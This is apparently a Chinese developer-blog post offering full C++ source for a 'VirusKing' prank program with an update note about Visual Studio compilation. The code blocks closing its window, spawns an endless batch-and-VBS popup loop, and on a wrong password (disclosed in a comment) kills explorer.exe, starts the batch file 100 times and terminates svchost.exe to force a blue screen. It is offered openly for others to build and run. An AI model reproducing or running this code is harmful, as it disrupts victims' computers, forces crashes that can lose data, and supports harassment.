Update:更新了蓝屏效果,使用Windows的LPCSTR字符串解决了Visual Studio用户无法编译的问题。(我当时用的是DevC++“老古董”,没有考虑Visual Studio用户,对不起😞!)

#include<iostream>
#include<fstream>
#include<stdlib.h>
#include<windows.h>
using namespace std;
void CanNotClose();
void FullScreen();
void Init();
void CanNotClose() {//关不了
	HWND hwnd = GetConsoleWindow();
	HMENU hmenu = GetSystemMenu(hwnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hwnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hwnd, GWL_STYLE, style);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hwnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hwnd, NULL);
}
void FullScreen() {//全屏
	HWND hwnd = GetForegroundWindow();
	int cx = GetSystemMetrics(SM_CXSCREEN);
	int cy = GetSystemMetrics(SM_CYSCREEN);
	LONG l_WinStyle = GetWindowLong(hwnd, GWL_STYLE);
	SetWindowLong(hwnd, GWL_STYLE, (l_WinStyle | WS_MAXIMIZE | WS_POPUP) & ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
	return;
}
void Init() {//初始化
	CanNotClose();
	FullScreen();
	ofstream ofile;
	ofile.open("Pop.vbs");
	ofile.clear();
	ofile << "msgbox\"Your PC was hacked,if you hear nothing of the secret key,you can change your PC now.\"";
	ofile.close();
	ofile.open("Auto.bat");
	ofile.clear();
	ofile << ":Pop" << endl << "start Pop" << endl << "goto Pop";
	ofile.close();
	system("start Auto");
}
int main() {
	Init();
	cout << "Enter the secret code to crack the virus:";
	string s;
	cin >> s;
	if (s == "CSDN-DHY"/*注意了:密码是CSDN-DHY*/)
	{
		MessageBoxA(GetDesktopWindow(), "Now your computer is safe.", "VirusKing", MB_OK);
		system("taskkill /f /im Auto.bat");
		system("taskkill /f /im wscript.exe");
		exit(0);
	}
	else
	{
		ShowWindow(GetForegroundWindow(), SW_HIDE);
		system("taskkill /f /im explorer.exe");
		for (int i = 0;i < 100;i++) system("start Auto.bat");
		MessageBoxA(GetDesktopWindow(), "Your computer is dead now......:)", "VirusKing", MB_OK | MB_SYSTEMMODAL);
		Sleep(10000);
		system("taskkill /f /im svchost.exe");
	}
	return 0;
}

仍然是输入CSDN-DHY解锁🔓,解锁失败就会使用ShowWindow隐藏本体,然后结束系统进程svchost.exe导致蓝屏。

制作不易,还望点赞收藏!

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐